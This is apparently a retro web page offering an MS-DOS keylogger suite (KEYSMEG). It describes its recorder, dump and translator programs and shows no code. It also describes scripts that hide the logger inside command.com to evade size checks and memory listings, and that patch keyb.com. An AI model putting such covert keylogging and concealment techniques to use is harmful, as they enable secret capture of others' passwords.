KEYSMEG Hope you're not fishing for passwords!

KEYSMEG is a series of programs designed to record keystrokes under MS-DOS.
Get the whole series: keysmeg.zip.

  • keysmeg.txt
    This is the TSR. It stores the keyboard scan code of every key pressed after it is loaded into memory (up to a limit of 100 scan codes).

  • dump.txt
    This program dumps the recorded scan codes to a disk file. It also clears the buffer, allowing a further 100 scan codes to be recorded.

  • scan2.txt
    This program translates the the keyboard scan codes in the disk file to ASCII text.
For those who need something more subtle:
  • command5.txt
    This is a debug script which hides the TSR code inside command.com, writing over unimportant error message strings to avoid changing it's size. We put the interrupt handler installation code in here so that it gets executed at boot time. We also put the interrupt handler itself in here, so that it goes resident as part of command.com (where it won't show up on a mem /c).
    This version of the script is suitable for MS-DOS 5.0 only.

  • keyb5.txt
    Unfortunately, keyb.com seems to disable the TSR code if it gets loaded later on (as is the case if the TSR code is loaded with command.com, and keyb.com is not loaded until autoexec.bat is executed).
    This debug script modifies keyb.com to prevent this behaviour. It does, however, alter it's size. The alternative is to put keyb.com in config.sys (where it will be loaded before command.com) like this:
    INSTALL = KEYB.COM UK,,KEYBOARD.SYS
    You decide which is smarter for you.
    This version of the script is suitable for MS-DOS 5.0 only.

  • command6.txt
    A version of the above script (command5.txt), for MS-DOS 6.2.

  • keyb6.txt
    A version of the above script (keyb5.txt), for MS-DOS 6.2.